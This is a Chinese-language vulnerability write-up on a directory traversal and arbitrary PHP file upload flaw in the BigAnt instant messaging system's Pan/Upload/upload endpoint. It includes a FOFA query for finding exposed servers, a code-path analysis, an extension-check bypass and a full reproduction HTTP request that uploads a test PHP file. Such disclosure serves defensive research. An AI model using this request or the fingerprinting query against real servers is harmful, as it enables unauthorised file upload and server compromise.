漏洞简介
杭州九麒科技大蚂蚁 (BigAnt) 即时通讯系统是一款企业级IM通信管理系统,提供多种功能支持。该系统的 Pan/Upload/upload 接口存在目录遍历+任意文件写入/上传漏洞,攻击者可以通过上传特制的 php 文件,执行恶意代码,实现服务器的远程控制,可能导致敏感信息泄露、数据篡改等危害。
影响版本
BigAnt 5.5.x 及以上版本用户

经过测试,最新版本 6.0.1.20250407.1 也受影响
fofa语法
(body="/Public/static/admin/admin_common.js" && body="/Public/lang/zh-cn.js.js") || title="即时通讯 系统登录" && body="/Public/static/ukey/Syunew3.js"
漏洞分析
先看 \Pan\Controller\UploadController::_initialize 的初始化权限校验部分
public function _initialize(){
// 进行登录检测
parent::_initialize();
//Flash提交过来时,FireFox SESSION全部没有(因为是另外的进程处理),Chrome是好的
$saasId = I('saas_id');
$saasDB = I('saas_dbname');
$userId = I('user_id');
$userName = I('user_name');
$saas = array('saas_id'=>$saasId,'saas_dbname'=>$saasDB);
$user = array('user_id'=>$userId,'user_name'=>$userName);
//这里要与原来的SESSION合并,否则CHROME又会被覆盖,以致于少内容
if (session('saas')) $saas = array_merge($saas,session('saas'));
if (session('user')) $user = array_merge($user,session('user'));
sp_set_saas($saas);
sp_set_user($user);
}
#\Pan\Controller\PanBaseController::_initialize
public function _initialize(){
if ($this->validLogin){
if (! sp_user_islogin()){
//重新获取cookie中的数据,自动登录
$userId = cookie('userId');
$saasId = cookie('saasId');
if($userId && $saasId){
$res = \Common\Lib\SaasSDK::trustLogin($saasId, $userId,'pan') ;
}else{
parent::common_logout('public/logout') ;
}
}
//zou 20160705 当证当前页面与当前登录是否一致
if(!parent::valid_clientid_bool()){
parent::common_logout('public/logout') ;
}
}
//有时从其它应用转过来,没能经过load会有问题 死循化
if (! sp_get_root()){
$this->redirect('public/load');
exit;
}
if ($this->validAdmin){
if (! sp_user_isadmin()){
$this->error(L('_ONLY_MANAGE_VISIT_'));
exit;
}
}
//权限
$this->uid = sp_user_id();
/* //重置用户所拥有的云盘权限
$roots = \Pan\Lib\PanSDK::getUserRoots($this->uid);
sp_set_root($roots); */
parent::_initialize();
//初始化参数
$aces = array();
$aces[] = array('name'=>L('_PAN_'),'value'=>2) ;
$this->initParam(1,"pan",L("_APP_NAME_"),$aces,"pan_12");
}
protected $validLogin = 1 ;的存在,需要一个登录的session,继续往下看upload()方法
public function upload(){
set_time_limit(0);
ini_set ('memory_limit', '40900M');
$dirPath =I("dir_path");
if($dirPath && strpos($dirPath, "/") !== false){ //带文件夹上传
LogWrite("dirPath " .$dirPath);
// session('file_error',null);
$res = $this->_uploadWithDir($dirPath);
//获取错误信息
// $res = session("file_error")?['err_msg'=>session("file_error"),'err_code'=>'33002','status'=>0]:$res;
}else{
$rootId = I('root_id','','basename');
$folderId = I('folder_id','','basename');
$isRename = isset($_REQUEST['isRename']) ? $_REQUEST['isRename'] : true;
$platform = I('platform','pc');//区分操作平台,上传图片时,手机端需重新命名保存
/** @var FileLogic $M */
$M = FileLogic::DD();
$res = $M->uploadFile($rootId,$folderId,$platform,$isRename);
}
\Think\Log::record($res,'UPLOAD');
if ($res['status']){
// $this->uploadCallBack(1,$res['data']['savefile']);
$this->success($res['data']['file_name']);
// $this->uploadCallBack(1,$res['data']['file_name']);
}else{
$this->error($res['err_msg']);
// $this->uploadCallBack(0,$res['err_msg'],$res['err_code']);
}
}
场景 1
无 dir_path,POST
root_id=../../../doc/
调用过程如下
upload() 入口:
│
├─ $dirPath = I("dir_path") // $_POST 中无 dir_path → 返回 ''
├─ if ($dirPath && strpos($dirPath,"/") !== false)
│ → '' && ... → FALSE // 空字符串短路
│
└─ 进入 else 分支 (Branch 2, 第55行):
│
├─ $rootId = I('root_id', '', 'basename')
│ ↑↑↑↑↑↑↑↑
│ 关键:第三参数 'basename'
│
│ PHP 实际执行: basename('../../../doc/')
│
│ PHP basename 行为(语言规范):
│ 1. 先去除尾部 '/' → '../../../doc'
│ 2. 取最后一个路径分量 → 'doc'
│
│ 结果: $rootId = 'doc' ← 穿越序列被完全剥除
│
├─ FileLogic::uploadFile('doc', ...)
│ │
│ ├─ $path = "/data/CC1743B5-.../pan/doc/"
│ │ // saasId ↑ 来自 session ↑ rootId='doc'
│ │
│ ├─ sp_folder_create($path) // mkdir("/data/.../pan/doc/", 0777)
│ │
│ └─ SaasSDK::uploadAnFile(...)
│ │
│ └─ ThinkPHP Upload::upload()
│ │
│ ├─ autoSub = true (默认值, Upload.class.php 第21行)
│ ├─ subName = array('date','Y-m-d') (默认值, 第22行)
│ ├─ getSubPath() → call_user_func_array('date',['Y-m-d'])
│ │ → 返回 '2026-02-12'
│ │
│ └─ 最终路径 = savePath + subPath
│ = /data/CC1743B5-.../pan/doc/ + 2026-02-12/
│
└─ 文件落地: data/CC1743B5-.../pan/doc/2026-02-12/tesx.Php

文件后缀可以通过大小写(在Windows平台)绕过文件后缀校验。
因为I('root_id', '', 'basename') 中的 basename 过滤器将 ../../../doc/ 降维为 doc。这不是路径规范化,而是 php basename() 的语言行为——它只返回路径的最后一个分量,彻底丢弃了所有父目录引用。因此可以在root_id参数后增加一个.. 进行路径穿越到sassid目录下,但也仅此一层目录穿越,因为basename最多返回一个..
场景 2
POST
dir_path=/+root_id=../../../doc/
调用过程如下
upload() 入口:
│
├─ $dirPath = I("dir_path") // $_POST['dir_path'] = '/'
├─ if ($dirPath && strpos($dirPath,"/") !== false)
│ → '/' && (0 !== false) → TRUE // '/' 是 truthy,且包含 '/'
│
└─ 进入 Branch 1: _uploadWithDir('/')
│
├─ $dirInfo['root_id'] = I("root_id") // = '../../../doc/'
│ // ❌ 注意:这里没有 basename 过滤
│
└─ uploadFileByFolder(dirname('/'), $file, $dirInfo)
│
├─ dirname('/') → '/' (Linux PHP行为)
│
├─ $dirpathArr = explode("/", "/") → ["", ""]
│ // 两个空字符串元素
│
└─ foreach 第一次迭代: $v = ""
│
├─ $dirInfo['folder_name'] = ""
├─ $where['root_id'] = $dirInfo['root_id'] // '../../../doc/'
│
├─ D("Folder")->where($where)->find()
│ // DB查询: root_id='../../../doc/' + folder_name=''
│ // 数据库中不存在这种记录 → 返回 null/false
│
├─ if(!$folder) → TRUE → 进入 createDir:
│
└─ D("Folder")->createDir($dirInfo)
│ // $dirInfo 包含:
│ // folder_name = ""
│ // root_id = "../../../doc/"
│
├─ FolderModel::createDir() 第289行:
│ $preg = preg_match_name(
│ htmlspecialchars_decode($dirInfo['folder_name'])
│ )
│ // preg_match_name("") → 空字符串匹配不到
│ // → 返回 "" (false) → 此检查通过
│
├─ 继续执行到 $this->create($dirInfo, 1)
│ // ThinkPHP Model::create() 应用 $_validate 规则
│
│ ⚠️ 校验失败 → 返回 ['status'=>0, 'info'=>'名称不能包含%s特殊字符!']
│
└─ 回到 uploadFileByFolder 第144-146行:
if($folder['status'] === 0) {
echo '<script>parent.uploadCallBack('.$folder['info'].')</script>';
die(); ← 🛑 执行终止,文件从未保存
}
当 dir_path=/ 时进入分支1,dirname('/') → '/' → explode 产生空字符串文件夹名 → FolderModel::createDir() 内部校验(preg_match_name 验证规则)
public function createDir($dirInfo){
$preg = preg_match_name(htmlspecialchars_decode($dirInfo['folder_name']));
if($preg){
return sp_return_fail(L('_FOLDER_NAME_FILTER_'));
}
function preg_match_name($name){
$pattern = '/\\\|\/|\:|\*|\?|\"|\<|\>|\|/';
if(preg_match_all($pattern,$name,$data)){
return join(',',array_flip(array_flip($data[0])));
}
return ;
}

不过由于Apache的配置,data目录不能执行php因此利用有限。
漏洞复现
需要注意thinkphp的路由特性,不区分大小写,且还支持如下等方式
/Pan/Upload/upload.html
/Pan/Upload/upload

POST /Pan/Upload/upload?isRename=0 HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykYF09jVSR6go0IX0
Cookie: userId=admin;saasId=CC1743B5-E5D5-42CE-B5F6-42E24464C8D0;PHPSESSID=stnl4fh0j7k1eppmmfg5cjm2k7
Host: bigant.local:8000
------WebKitFormBoundarykYF09jVSR6go0IX0
Content-Disposition: form-data; name="root_id"
..
------WebKitFormBoundarykYF09jVSR6go0IX0
Content-Disposition: form-data; name="file"; filename="tesx.pHp"
<?=md5(123456);unlink(__FILE__);
------WebKitFormBoundarykYF09jVSR6go0IX0--




